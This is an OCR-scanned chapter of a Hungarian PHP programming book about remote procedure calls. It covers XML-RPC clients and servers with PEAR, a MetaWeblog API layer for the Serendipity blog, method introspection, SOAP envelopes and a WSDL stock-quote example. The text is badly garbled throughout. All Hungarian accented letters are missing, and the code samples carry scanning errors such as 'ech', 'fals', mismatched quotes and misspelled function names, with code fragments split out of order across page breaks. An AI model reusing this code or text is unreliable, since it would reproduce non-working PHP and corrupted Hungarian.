Jeremy Zawodny honlapjn (http: / / j eremy. zawodny. com/mysql /) szmos cikket s eladst tallhatunk a MysSQL mretezsrl s a MySQL tbbszrzsrl. A hardveres terhelskiegyenltkrl szmos cg honlapjn tallhatunk adatokat, kztk az albbiakon: Alteon www.alteon. com BiglP-www.f5.com Cisco www. cisco . com Foundry www. foundry.com Extrm Networks - www. extremenetworks . com mod_backhand-www.backhand.com

Az elbbi t cg a piacvezetk kz tartozik, az LVS s a mod_backhand pedig nagyszer terhelskiegyenlt programok. Az SRM-rl bvebben a www.vl-srm.net cmen olvashatunk.

RPC: Egyttmkds tvoli szolgltatsokkal


A tvoli eljrshvsi (RPC) szolgltatsok szabvnyos felletet biztostanak fggvnyek, illetve tagfggvnyek hlzaton keresztli hvsra. A webprogramozs szinte minden terletn hasznlnak RPC-t. A webbngszktl a webkiszolglk fel kldtt HTTP krelmek is ilyenek, mint ahogy az adatbzis-kiszolglknak kldtt lekrdezsek is. Nos, ezek valban tvoli hvsok, de nem igazn tekinthetk RPC protokollnak. Hinyzik bellk azok ltalnossga s szabvnyossga - gy pldul a webkiszolglk s az adatbzisok ltal hasznlt protokollok nem megoszthatk, mg akkor sem, ha ugyanazon a hlzati szinten bonyoldnak. Ahhoz, hogy valban jl hasznlhatak legyenek, az RPC protokolloknak az albbi tulajdonsgokkal kell rendelkeznik: ltalnossg - Knny legyen j, meghvhat tagfggvnyekkel kiegszteni. Szabvnyossg - Biztostani kell, hogy ha ismert egy tagfggvny neve s paramterlistja, hvsa egyszeren megvalsthat legyen. Knny rtelmezhetsg - Az RPC visszatrsi rtke olyan kell legyen, ami knnyen talakthat az alkalmazsok megfelel sajt adattpusaira. Maga a HTTP nem elgti ki a fentiek egyikt sem, de hihetetlenl knyelmes tviteli rteget biztost az RPC krelmek kldsre. A webkiszolglk szles krben elterjedtek, gy gyes fogs, ha ppen npszersgkre ptnk azzal, hogy a HTTP-t hasznljuk RPC krelmeink becsomagolsra. Az RPC protokollok kzl a legismertebbek az XML-PRPC s a SOAP, melyeket hagyomnyosan teleptenek a Vilghln - rluk szlunk fejezetnk tovbbi rszben.

RPC hasznlata nagy forgalm webhelyeken

Jllehet az RPC igen rugalmas eszkz, termszetnl fogva lass. Brmely folyamat, amely RPC-ket hasznl, azonnal szembe tallja magt a tvoli szolgltats elrhetsgnek s teljestmnynek korltaival. A legjobb esetben is szmthatunk arra, hogy oldalunk

428

PHP fejleszts felsfokon

szolgltatsnak idtartama megduplzdik. Ha pedig brmilyen fennakads jelentkezik a tvoli vgpontnl, a teljes webhely vrakozsra knyszerlhet. Ez persze nem jelent komoly gondot felgyeleti vagy kis forgalm szolgltatsoknl, de az zleti, illetve nagy forgalm webhelyeknl elfogadhatatlan. A megolds a ksleltets s az elrhetsg akadozsnak elkerlsre egy olyan gyorstrstratgia, amely megsznteti a kzvetlen fggst a tvoli szolgltatstl. Az RPC hvsokhoz knnyen alkalmazhat gyorstrmdszerekrl a 1. s a 11. fejezetben mr olvashattunk.

XML-RPC
Az XML-RPC minden XML alap RPC protokoll se. Alkalmazi leggyakrabban HTTP POST krelmekbe s vlaszokba gyazzk be, de - mint azt a 15. fejezetben bemutattuk erre a begyazsra nincs felttlenl szksg. Az egyszer XML-RPC krelmek olyan XML dokumentumok, melyek az albbihoz hasonlan festenek: <?xml version="l.0" encoding="UTF-8"?> <methodCall> <methodName>system.load</methodName> <params> </params> </methodCall> Ezt a krelmet a POST mdszerrel elkldhetjk az XML-RPC kiszolglnak, amely megkeresi s vgrehajtja a megadott tagfggvnyt (system. load), tadva a paramtereket (ez esetben nem adtunk meg egyetlen paramtert sem). Az eredmny vgl visszakerl a hv flhez. Jelen esetben ez a gp aktulis terhelse, melyet a Unix uptime nev hjparancstl kaptunk meg. me egy lehetsges kimenet: <?xml version="1.0" encoding="UTF-8"?> <methodResponse> <params> <param> <value> <string>0.34</string> </value> </param> </params> </methodResponse> Termszetesen ezeket a dokumentumokat nem magunknak kell elksztennk s rtelmeznnk. Szmos XML-RPC megvalsts ltezik PHP alatt. Jmagam a PEAR XML-RPC osztlyokat kedvelem, mert ezekhez hozzjutunk a PHP-vel (a PEAR telept hasznlja

16. fejezet RPC: Egyttmkds tvoli szolgltatsokkal

429

ket). Kvetkezskppen gyakorlatilag minden rendszeren jelen vannak - gy nincs is igazn okunk, hogy mst keressnk. Az XML-RPC prbeszd kt rszbl ll: az gyfl krelmbl s a kiszolgl vlaszbl. Beszljnk elbb az gyfl kdjrl. Az gyfl kszt egy krelem dokumentumot, elkldi a kiszolglnak, majd rtelmezi a kapott vlaszt. Az albbi kd a korbbiakban ltott krelmet kszti el, s rtelmezi az erre kapott vlaszt: require_once 'XML/RPC.php';

$client = new XML_RPC_Client('/xmlrpc.php', 'www.example.com'); $msg = new XML_RPC_Message('system.load1); $result = $client->send($msg); if ($result->faultCode()) { ech "Error\n";
}

print XML_RPC_decode($result->value()); Ltrehozunk egy j XML_RPC_Client objektumot, megadva szmra a tvoli szolgltats URI-jt s cmt. Ezutn ksztnk egy XML_RPC_Message objektumot, amely tartalmazza a meghvni kvnt tagfggvny nevt (system. load). Mivel a tagfggvnynek nem adunk meg paramtereket, tovbbi adatok tadsra nincs szksg. Ezutn elkldjk az zenetet a send () tagfggvnnyel. Az eredmnyt elbb megvizsgljuk, s ha nem tallunk hibt, az XML formtumbl a PHP sajt vltoztpusra alaktjuk az XML_RPC_Decode () segtsgvel. Termszetesen a kiszolgl oldaln is szksg van nmi kdra, ami fogadja a krelmet, megtallja s vgrehajtja a megfelel visszahvhat fggvnyt, majd visszakldi a vlaszt, me egy lehetsges megolds, amely kezeli az gyfl kdjban megadott system. load tagfggvnyt: require_once 'XML/RPC/Server.php'; function system_load()
{

$uptime = "uptime";
if(preg_match("/load average: ([\d.]+)/", $uptime, $matches)) { return new XML_RPC_Response( new XML_RPC_Value($matches[1] , 'string')); } }

430

PHP fejleszts felsfokon

=> array('function' => 'system_uptime')); new XML_RPC_Server($dispatches, 1 ); A PHP fggvnyek megbirkznak a korbban meghatrozott berkez krelmekkel. Magunknak mindssze a system. load krelemmel kell foglalkoznunk, melynek a system. load () tagfggvny hvsa felel meg. Ez a Unix uptime parancst hajtja vgre, s az eredmnybl kiolvassa a gp egyperces tlagos terhelst. Ezutn a kapott adatot becsomagolja egy XML_RPC_Value objektumba, majd a visszakldshez beburkolja egy XML_RPC_Response objektumba. Ezutn a visszahvhat (callback) fggvny rkerl egy kiosztsi trkpre, amely meghatrozza, mely fggvnyekhez rendelje a kiszolgl az egyes bejv krelmeket. A meghvand fggvnyekbl ksztnk egy $dispatches tmbt, amely XML-RPC tagfggvnyneveket kpez le PHP fggvnyekre. Vgezetl ltrehozunk egy XML_RPC_Server objektumot, s tadjuk neki az elzleg ksztett kiosztsi tmbt. A msodik paramter 1 rtke azt jelzi, hogy a krelmet azonnal ki kell szolglni a service () tagfggvnnyel (ez egy bels hvs). A service () megvizsglja a HTTP POST nyers adatait, megkeresi az XML-RPC krelmet, majd a kioszts alapjn elvgzi a fggvnyhvst. Mivel a tagfggvny a PHP $HTTP_RAW_POST_DATA autogloblisra hivatkozik, semmikppen sem szabad kikapcsolnunk a php. ini fjl always_populate_raw_post_data belltst. Ha ezek utn elhelyezzk a kiszolglkdot a www. example. com/xmlrpc .php cmen, s egy tetszleges gpen futtatjuk az gyflkdot, az albbiakat kapjuk vissza: > php system_load.php 0.34 Vagy valami hasonlt, a terhelstlagtl fggen.

$dispatches = array('system.load'

Egy kiszolgl felptse: a MetaWeblog API megvalstsa


Az XML-RPC igazi erssge, hogy szabvnyos mdot ad a szolgltatsok kzti adatcserre. Ez klnsen akkor hasznos, ha nem tudjuk ellenrizni a krelem tjnak mindkt oldalt. Az XML-RPC-vel knnyen mdot adhatunk arra, hogy brki rintkezhessen a szolgltatssal. J pldt adnak erre a webnaplkldsi API-k. Szmos webnaplz rendszer ltezik, s rengeteg olyan eszkz, melyek segtenek a hasznlatukban s a bejegyzsek kldsben. Ha nem volnnak szabvnyos eljrsok, a szleskr felhasznlhatsg rdekben minden eszkznek tmogatnia kellene minden webnaplt, vagy fordtva. Az ilyen kapcsolatrendszer megtartsa lehetetlen, ha a benne rszt vev alkalmazsok szma nvekszik.

16. fejezet RPC: Egyttmkds tvoli szolgltatsokkal

431

Jllehet a webnaplk lehetsgei s megvalstsai vltozatosak lehetnek, lehetsges olyan szabvnyos mveletcsald meghatrozsa, melyek a bejegyzsek kldst vgzik. A webnaplknak s az eszkzknek ezek utn csak a megfelel felletet kell megvalstaniuk, s gy mindenki mindenkivel egyttmkdhet. Dacra a webnaplz rendszerek nagy szmnak, mindssze hrom webnaplkldsi API terjedt el szles krben: a Blogger API, a MetaWeblog API, valamint a MovableType API (ami valjban mindssze a MetaWeblog API bvtse). A bejegyzskld eszkzk e hrom protokoll valamelyikt hasznljk az adattvitelhez, gy ha mindegyikket megvalstjuk, webnaplnk kpes lesz fogadni brmely eszkz bejegyzseit. Mindez nagyszer lehetsg arra, hogy egy j webnaplz rendszert elfogadott tegynk. Termszetesen elszr egy webnaplz rendszerre van szksg, melyhez ezek az API-k kapcsoldhatnak. Egy teljes webnaplz rendszer felptse meghaladn knyvnk kereteit, gy ht megelgsznk azzal, hogy egy XML-RPC rteget adunk a Serendipity webnaplhoz. A szban forg API-k a bejegyzsek kldst intzik, gy a Serendipity albbi eljrsaival kell rintkeznik:

function serendipity_updertEntry($entry) {} function serendipity_fetchEntry($key, $match)

{}

A serendipity_updertEntry () frisst egy bejegyzst, vagy beszr egy jat, attl fggen, hogy megadtuk-e szmra az id vltoz rtkt. A $entry valjban egy tmb, amely az albbi adatbzistbla egy ltalnos sornak felel meg (vagyis elemei az oszlopokat adjk): CREATE TABLE serendipity_entries ( id INT AUTO_INCREMENT PRIMARY KEY, title VARCHAR(2 00) DEFAULT NULL, timestamp INT(10) DEFAULT NULL, body TEXT, author VARCHAR(20) DEFAULT NULL, isdraft INT ); A serendipity_f etchEntry () kiolvas egy bejegyzst a tblbl a megadott kulcs-rtk pr alapjn. A MetaWeblog API tbb lehetsget biztost, mint a Blogger API, gy elbbi megvalstsra tesznk ksrletet. Tagfggvnyei kzl az albbi hrom fontosabbat kell megemltennk:

metaWeblog.newPost(blogid,username,password,item_struct,publish) returns string metaWeblog.editPost(postid,username,password,item_struct,publish) returns true metaWeblog.getPost(postid,username,password) returns item_struct

432

PHP fejleszts felsfokon

A blogid a megclzott webnapl azonostja (ami jl jn, ha a rendszer tbb webnaplt is fenntart), a username s a password a kld azonostsra szolgl, a publish pedig egy jelz, amely megmondja, hogy a kldtt bejegyzs csak vzlat-e, vagy egyenesen mehet a naplba. Az item_struct a kldtt adatok tmbje. Ahelyett, hogy sajt formtumot vlasztott volna az adatbevitelhez, Dave Winer, a MetaWeblog lersnak szerzje az RSS 2.0 lers item elemnek meghatrozst vlasztotta (ezt megtallhatjuk a http: //blogs. law.harvard.edu/tech/rss cmen). Az RSS egy szabvnyostott XML formtum cikkek s naplbejegyzsek kzlsre. Az item bejegyzse az albbi elemeket tartalmazza:

A szabvny emellett lehetv teszi egyb mezk hasznlatt is - hivatkozsokat megjegyzsekre, egyrtelm azonostkat, valamint kategrikat. Mindemellett szmos webnapl kibvti az RSS szabvnyt, gy, hogy az tartalmazza a content: encoded elemet is, ami a teljes kldemnyt trolja, nem csak annak sszefoglaljt, melyet hagyomnyosan az RSS description elemben tallhatunk meg. A MetaWeblog API megvalstshoz a korbban emltett hrom tagfggvnnyel kell foglalkoznunk. Elszr nzzk, hogyan kldhetnk j bejegyzseket: function metaWeblog_newPost($message) { $username = $message->params[1]->getval() ; $password = $message->params[2]->getval() ; if(!serendpity_authenticate_author($username, $password)) return new XML_RPC_Response('', 4, 'Authentication Fa i l ed' );
}

$item_struct = $message->params[3]->getval(); $publish = $message->params[4]->getval() ; $entry['title'] = $item_struct['title'] ; $entry['body'] = $item_struct['description']; $entry['author' ] = $username; $entry['isdraft' ] = ($publish == 0)?'true' : ' fals';

16. fejezet RPC: Egyttmkds tvoli szolgltatsokkal

433

$id = serendipity_updertEntry($entry); return new XML_RPC_Response( new XML_RPC_Value($i d,


}

's t r i n g ' ) ) ;

A metaWeblog_newPost () kinyeri a krelembl a username s a password paramtereket, majd kicsomagolja XML alakjukat PHP tpusokba a getval () tagfggvnnyel. A fggvny ezutn hitelesti a megadott felhasznlt. Amennyiben ez nem sikerl, visszakld egy res XML_RPC_Response objektumot egy Authentication Failed" (Sikertelen hitelests) hibazenettel. Ha a hitelests sikeres, a metaWeblog_Post () beolvassa az item_struct paramtert, s a getval () segtsgvel kicsomagolja a $item_struct tmbbe. Ebbl elkszti a Serendipity $entry paramtert, melyet tad a serendipity_updertEntry () tagfggvnynek. Vgl a hv egy XML_RPC_Response objektumot kap az j bejegyzs azonostjval. A MetaWeblog. editPost httrkdja igencsak hasonl a MetaWeblog. newPost tagfggvnynl ltottakhoz: function metaWeblog_editPost($message) { $postid = $message->params[0 ]->getval(); $username = $message->params[1]->getval(); $password = $message->params[2]->getval(); if(!serendipity_authenticate_author($username, $password)) { return new XML_RPC_Response('', 4, 'Authentication F a i l e d ' ) ;
}

$item_struct = $message->params[3]->getval(); $publish = $message->params[4]->getval(); $entry['title'] = $item_struct['title']; $entry['body'] = $item_struct['description1] ; $entry['author'] = $username; $ e n t r y[ ' i d ' ] = $postid; $entry['isdraft'] = ($publish == 0)?'true' : ' fals'; $id = serendipity_updertEntry($entry); return new XML_RPC_Response( new XML_RPC_Value($id?true: fals, 'boolean'));
}

Itt is ugyanazt a hitelestst vgezzk el, elksztjk a $entry tmbt, s elkldjk a naplnak. Ha a serendipity_updertEntry a $id rtkkel tr vissza, mkdse sikeres volt, gy a vlaszban a true rtket adjuk vissza ha nem volt sikeres, a vlaszunk fals. Utolsknt a MetaWeblog.getPost megvalstst kell elksztennk. Ez a serendipity_f etchEntry () segtsgvel hozzjut a bejegyzs adataihoz, s ebbl egy, az item_struct adatokat tartalmaz XML vlaszt kszt.

434

PHP fejleszts felsfokon

Lssuk, hogy fest a kd: function metaWeblog_getPost($message) { $postid = $message->params[0]->getval(); $username = $message->params[1]->getval(); $password = $message->params[2]->getval(); if ( !serendipty_authenticate_author($username, $password)) { return new XML_RPC_Response('', 4, 'Authentication Failed'); } $entry = serendipity_fetchEntry('id', $postid); $tmp = array( 'pubDate' => new XML_RPC_Value( XML_RPC_iso8601_encode($entry['timestamp']), 'dateTime.iso8601'), 'postid' => new XML_RPC_Value($postid, 'string'), 'author' => new XML_RPC_Value($entry['author'] , 'string'), 'description' => new XML_RPC_Value($entry['body'] , 'string'), 'title' => new XML_RPC_Value($entry['title'],'string') , 'link' => new XML_RPC_Value(serendipity_url($postid) , 'string') );

$entry = new XML_RPC_Value($tmp, ' s t r u c t ' ) ; return new XML_RPC_Response($entry);


}

Figyeljk meg, hogy a bejegyzs kiolvassa utn az item adataibl ll tmbt ksztnk. Az XML_RPC_iso8601 () elvgzi a Serendipity ltal hasznlt Unix idblyegz talaktst az RSS item ltal megkvetelt ISO 8601 szabvnyra. A kapott tmb ezutn becsomagolva egy XML_RPC_Value struct-ba kerl. Ez a szabvnyos mdszer arra, hogy XMLRPC struct tpust ksztsnk a PHP alaptpusokbl. Az eddigiekben lttunk string, boolean, dateTime . iso8601 s struct azonostkat, melyeket tadhattunk az XML_RPC_Value objektumnak. rdemes felsorolnunk az sszes lehetsget:

16. fejezet RPC: Egyttmkds tvoli szolgltatsokkal

435

A struct s az array tpusok brmilyen ms tpust (kztk tovbbi struct, illetve array elemeket) tartalmazhatnak. Ha nem adunk meg tpust, a rendszer automatikusan a string mellett dnt. Jllehet a PHP minden adata lerhat a string, struct, illetve az array tpusok valamelyikvel, ms tpusok is tmogatst kaptak, mivel a ms nyelven rt alkalmazsoknak esetleg jobban meghatrozott adattpusokra van szksgk. A fggvnyek bejegyzshez egy kiosztsi tmbt ksztnk: $dispatches = array( metaWeblog.newPost' => array('function1 => 'metaWeblog_newPost') , 'metaWeblog.editPost' => array('function' => 'metaWeblog_editPost') , 'metaWeblog.getPost' => array('function1 => 'metaWeblog_getPost' ) ) ; $server = new XML_RPC_Server($dispatches, 1) ; Hurr! Programunk e pillanattl kezdve megfelel a MetaWeblog API-nak!

Az XML-RPC szolgltatsok automatikus feldertse


Hasznos lehet, ha egy felhasznl valamilyen mdon adatokat krhet a kiszolgltl az XML-RPC szolgltatsokra nzve. Erre az XML-RPC hrom tagfggvnyt is rendelkezsnkre bocst: system. listMethods - Visszaadja a kiszolgl ltal megvalstott sszes tagfggvny nevt (minden visszahvhat fggvnyt, ami szerepel a kiosztsi trkpen). system.methodSignature - A tagfggvny neve alapjn megadja a lehetsges prototpusokat. system.methodHelp - Fogadja a tagfggvny nevt, s a lersval tr vissza. Mivel a PHP dinamikus nyelv, s nem kveteli meg a fggvnyeknek tadott paramterek szmnak rgztst, a system.methodSignature ltal visszaadott adatokat a felhasznlnak kell pontosan meghatroznia. Az XML-RPC tagfggvnyeinek vltoz paramterei lehetnek, gy a visszatrsi rtk is egy tmb, amely a lehetsges prototpusokat tartalmazza. E prototpusok maguk is tmbk - els elemk a tagfggvny visszatrsi tpusa, ezutn pedig a paramterek tpusai kvetkeznek. E kiegszt adatok trolsra a kiszolglnak bvtenie kell kiosztsi trkpt - ezt lthatjuk a metaWeblog.newPost tagfggvny pldjn: $dispatches = array( 'metaWeblog.newPost' => array('function' => 'metaWeblog_newPost' , 'signature' => array( array($GLOBALS['XML_RPC_String'],

436

PHP fejleszts felsfokon

$GLOBALS['XML_RPC_String'], $GLOBALS['XML_RPC_String'] , $GLOBALS['XML_RPC_String'] , $GLOBALS['XML_RPC_Struct'], $GLOBALS['XML_RPC_String'] ) ), 'docstring' => 'Takes blogid, username, password, item_struct 'publish_flag and returns the postid of the new entry'), */

'.

/* );

...

E hrom tagfggvny hasznlatval kialakthatunk egy kpet az XML-RPC kiszolgl szolgltatsairl. Lssunk egy programot, ami egy adott kiszolgln megadja az sszes XMLRPC tagfggvny lerst s prototpust: <?php require_once 'XML/RPC.php'; if($argc != 2) { print "Must specify a url.\n"; exit ; } $url = parse_url($argv[l]) ; $client = new XML_RPC_Client($url['path'] , $url['hst']); $msg = new XML_RPC_Message('system.listMethods'); $result = $client->send($msg); if ($result->faultCode()) { ech "ErrorAn"; } $methods = XML_RPC_decode($result->value()); foreach($methods as $method) { $message = new XML_RPC_Message('system.methodSignature' , array(new XML_RPC_Value($method))) ; $response = $client->send($message)->value(); print "Method $method:\n"; $docstring = XML_RPC_decode( $client->send( new XML_RPC_Message('system.methodHelp', array(new XML_RPC_Value($method) ) ) )->value() ); if($docstring) { print "$docstring\n"; } else { print "NO DOCSTRING\n"; )

16. fejezet RPC: Egyttmkds tvoli szolgltatsokkal

437

$response = $client~>send($message)->value(); if ($response->kindOf() == 'array') { $signatures = XML_RPC_decode($response) ; for($i = 0; $i < count($signatures) ; $i + + ) { $return = array_shift($signatures[$i] ) ; $params = implode(", ", $signatures[$i]) ; print "Signature #$i: $return $method($params)\n"; } } else { print "NO SIGNATURE\n"; } print "\n"; } ?>

Egy Serendipity webnapl-kiszolgln futtatva a fenti programot a kvetkez eredmnyt kapjuk: > xmlrpc-listmethods.php http://www.example.org/serendipity_xmlrpc.php /* ... */

Method metaWeblog.newPost: Takes blogid, username, password, item_struct, publish_flag and returns the postid of the new entry Signature #0: string metaWeblog.newPost(string, string, string, struct, string) /* ... */ Method system.listMethods: This method lists all the methods that the XML-RPC server knows how to dispatch Signature #0: array system.listMethods(string) Signature #1: array system.listMethods() Method system.methodHelp: Returns help text if defined for the method passed, otherwise returns an empty string Signature #0: string system.methodHelp(string) Method system.methodSignature: Returns an array of known signatures (an array of arrays) for the method name passed. If no signatures are known, returns a none-array (test for type != array to detect missing signature) Signature #0: array system.methodSignature(string)

438

PHP fejleszts felsfokon

Vagyis magyarul: metaWeblog.newPost tagfggvny: Fogadja a blogid, username, password, item_struct s publish_f lag paramtereket, majd az j bejegyzs azonostjval tr vissza. system. listMethods tagfggvny: Felsorol minden olyan tagfggvnyt, melynek kiosztsra az XML-RPC kiszolgl kpes. system.methodHelp tagfggvny: Az tadott tagfggvny lersval tr vissza, vagy ha ez nem ltezik, egy res karakterlnccal. system.methodSignature tagfggvny: Az tadott tagfggvny ismert prototpusait (vagyis tmbk egy tmbjt) adja vissza. Ha nincs ismert prototpus, a visszatrsi rtk egy nulltmb (ezt a type ! = array felttellel vizsglhatjuk).

SOAP
A SOAP eredetileg a Simple Object Access Protocol (egyszer objektumelrsi protokoll) rvidtse volt, de az 1.1-es vltozattl nllsult. A SOAP egy olyan protokoll, amely alkalmas vltozatos krnyezetbeli adatcserk lebonyoltsra. Az XML-RPC-tl eltren, ami kifejezetten az RPC-k kezelsre hivatott, a SOAP ltalnos zenetkezelsre kszlt, gy az RPC-k gye csak egyike a szmos alkalmazsnak. Mindazonltal, fejezetnk az RPC-krl szl, gy most csak a SOAP 1.1 hozzjuk kapcsold rszrl szlunk. Hogy is nz ki a SOAP? me egy SOAP bortk, amely az xmethods . net tzsdei rfolyam-lekrdez SOAP szolgltatst alkalmazza a hivatalos" bemutat plda megvalstsra, vagyis az IBM tzsdei rfolyamnak lekrdezsre (azrt hivatalos", mert ez a plda szerepel a SOAP bemutat lersban): <?xml version="1.0" encoding="UTF-8"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsd="http://www.w3.org/2 001/XMLSchema" xmlns:xsi="http://www.w3.org/2 001/XMLSchema-instance" xmlns:soap-enc="http://schemas.xmlsoap.org/soap/encoding/" soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <soap:Body>
<getQuote xmlns= "http://www.themindelectric.com/wsdl/net.xmethods.services.stockquote. StockQuote/" >

16. fejezet RPC: Egyttmkds tvoli szolgltatsokkal

439

<symbol xsi:type="xsd:string">ibm</symbol> </getQuote> </soap:Body> </soap:Envelope>

me a vlasz:

<?xml version="1.0" encoding="UTF-8"?> <soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2 0 01/XMLSchema" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" soap:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <soap:Body> <n:getQuoteResponse xmlns:n="urn:xmethods-delayed-quotes"> <Result xsi:type="xsd:float">90.2 5</Result> </n:getQuoteResponse> </soap:Body> </soap:Envelope>
A SOAP esete jl pldzza azt, hogy egy egyszer elgondols nem felttlenl jr egytt egyszer megvalstssal. A SOAP zenet egy bortkbl ll, ami egy fejlcet s egy zenettrzset tartalmaz. Minden elem nvtereken tallhat, ami nagyszer gondolat, de nehzkess teszi az XML olvasst. A legkls cmke neve Envelope - ez tartalmazza magt a SOAP zenetet. Ez az elem az xmlsoap nvtrben tallhat, amit teljes minstett nevbl (<soap: Envelope>) s e nvtr meghatrozsbl is lthatunk: xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" Ez kapcsolatot teremt a soap s az albbi nvtr-URI kztt: http://schemas.xmlsoap.org/soap/envelope/

A SOAP s a Schema A SOAP bels mkdseihez ignybe veszi a Schema segtsgt, ami egy XML alap nyelv adatszerkezetek meghatrozsra s ellenrzsre. A kzmegegyezs szerint egy elem tel-

jes nvtere (pldul http: //schemas .xmlsoap.org/soap/envelope/) egy, a nvteret ler Schema dokumentum. Ez a meghatrozs azonban nem ktelez rvny - a nvtrnek mg csak URL-nek sem kell lennie , de a teljessg kedvrt ezt alkalmazzk.

440

PHP fejleszts felsfokon

A nvterek ugyanazt a szerepet tltik be az XML-ben, amit ms programozsi nyelvekben: Segtenek elkerlni az tkzseket kt megvalsts neve kztt. Vegyk a legfels szint cmkt (<soap-env: Envelope>). Az Envelope tulajdonsgnv eszerint a soap-env nvtrben tallhat. gy ht, ha a FedEX valamilyen okbl egy XML formtumot hatroz meg, amely az Envelope tulajdonsgot hasznlja, ezt nyugodtan megteheti a teljes <FedEX: Envelope> nvvel, s semmi baj nem trtnik. A SOAP Envelope-on bell ngy nvtr ltezik: xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" -ASOAP bortk Schema meghatrozsa lerja az alapvet SOAP objektumokat - ez a nvtr szerepel minden SOAP krelemben. xmlns:xsi="http://www.w3.org/21/XMLSchema-instance" -Azxsi:type elemtulajdonsg gyakran hasznlatos az elemek tpusnak megadsnl. xmlns:xsd= "http://www.w3.org/21/XMLSchema" - A Schema megad nhny alapvet adattpust, melyeket adataink meghatrozsnl s az ellenrzsnl hasznlhatunk. xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding" Ez a tpuskdolsok meghatrozsa, melyek a szabvnyos SOAP krelmekben megjelennek. A <GetQuote> elem szintn egy nvtrben tallhat - ez esetben egy meglehetsen hossz nevben:
http://www.themindelectric.com/wsdl/ net.xmethods.services.stockquote.StockQuote

Figyeljk meg a Schema hasznlatt a tzsdei azonost tpusmeghatrozsban s elrendezsben: <symbol xsi:type="xsd:string">ibm</symbol> A <symbol> karakterlnc tpus. Hasonlan, a vlaszban is lthat az rfolyam tpusnak meghatrozsa: <Result xsi:type="xsd:float"> 90 .2 5</Result> Itt lthatjuk, hogy az eredmny egy lebegpontos szm. Mindez hasznunkra lehet, hiszen a Schema rvnyessgi eszkzeivel ellenrizhetjk dokumentumunkat. gy pldul, ha a vlasz a kvetkez alakban rkezik, rvnytelennek tekintik, mivel a f oo nem rvnyes lebegpontos szm: <Result xsi:type="xsd:float">foo</Result>

16. fejezet RPC: Egyttmkds tvoli szolgltatsokkal

441

WSDL
A SOAP mlt prja a WSDL (Web Services Description Language - webszolgltats-ler nyelv). Ez egy XML alap nyelv, ami kifejezetten arra szolgl, hogy a webszolgltatsok (leggyakrabban a SOAP) lehetsgeit s tagfggvnyeit lerjuk. me egy WSDL fjl, amely a korbban mr alkalmazott tzsdei szolgltats lerst adja:
<?xml version="l.0" encoding="UTF-8" ?> <definitions name="net.xmethods.services.stockquote.StockQuote" targetNamespace= "http://www.themindelectric.com/wsdl/net.xmethods.services.stockquote. StockQuote/" xmlns:tns= "http://www.themindelectric.com/wsdl/net.xmethods.services.stockquote. StockQuote/" xmlns:electric="http://www.themindelectric.com/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/" xmlns:xsd="http://www.w3.org/2 001/XMLSchema" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/" xmlns:wsdl="http://schemas.xmlsoap.org/wsdl/" xmlns="http://schemas.xmlsoap.org/wsdl/"> <message name="getQuoteResponsel"> <part name="Result" type="xsd:float" /> </message> <message name="getQuoteRequestl"> <part name="symbol" type="xsd:string" /> </message> <portType name="net.xmethods.services.stockquote.StockQuotePortType"> <operation name="getQuote" pramterOrder="symbol"> <input message="tns:getQuoteRequestl" /> <output message="tns:getQuoteResponsel" /> </operation> </portType> <binding name="net.xmethods.services.stockquote.StockQuoteBinding" type="tns:net.xmethods.services.stockquote.StockQuotePortType"> <soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http" /> <operation name="getQuote"> <soap:operation soapAction= * "urn:xmethods-delayed-quotes#getQuote" /> <input> <soap:body use="encoded" namespace= "urn:xmethods-delayed-quotes" encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" /> </input> <output> <soap:body use="encoded" namespace= "urn:xmethods-delayed-quotes"

442

PHP fejleszts felsfokon

encodingStyle="http://schemas.xmlsoap.org/soap/encoding/" /> </output> </operation> </binding> <service name="net.xmethods.services.stockquote.StockQuoteService"> <documentation> net.xmethods.services.stockquote.StockQuote web service </documentation> <port name="net.xmethods.services.stockquote.StockQuotePort" binding="tns:net.xmethods.services.stockquote.StockQuoteBinding"> <soap:address location="http:/ / 6 6 .28.98.121:9090/soap" /> </port> </service> </definitions> Lthat, hogy a WSDL sem takarkoskodik a nvterek hasznlatval, szerkezete pedig kiss felrgni ltszik a logika szablyait. A kd els vizsglatra rdemes rsze a <portType> cmke, amely meghatrozza a vgrehajthat mveleteket, valamint a ki- s bevitt zeneteket. Esetnkben a getQuote mveletet adja meg, amely a getQuoteRequestl krelmet fogadja, s a getQuoteResponsel vlaszt adja vissza. A getQuoteResponsel <message> cmki szerint tartalma egyetlen, f loat tpus Result elem. Hasonlkppen, a getQuoteRequestl egyetlen string tpus symbol elemet tartalmaz. Kvetkezik a <binding> cmke. A <portType>-hoz a type tulajdonsgon keresztl kapcsoldik egy kts, amely megegyezik a <portType> nevvel. A ktsek a protokoll s az adattvitel tulajdonsgait hatrozzk meg (pldul a SOAP zenet trzsben elhelyezett adatok kdolst), de a cmeket nem. Egy kts egyetlen protokollhoz tartozhat esetnkben a HTTP-hez, kapcsolatukat az albbi kd adja meg: <soap:binding style="rpc" transport="http://schemas.xmlsoap.org/soap/http" /> Vgezetl, a <service> cmke felsorol nhny kaput, s cmeket hatroz meg szmukra. Mivel esetnkben csak egyetlen kaput hasznlunk, a kvetkez kddal hivatkozunk r s ktjk a h t t p : / / 6 6 . 2 8 . 98. 121: 9090/soap cmhez: <port name="net.xmethods.services.stockquote.StockQuotePort" binding="tns:net.xmethods.services.stockquote.StockQuoteBinding"> <soap:address location="http:/ / 6 6 .28.98.121:9090/soap" /> </port>

16. fejezet RPC: Egyttmkds tvoli szolgltatsokkal

443

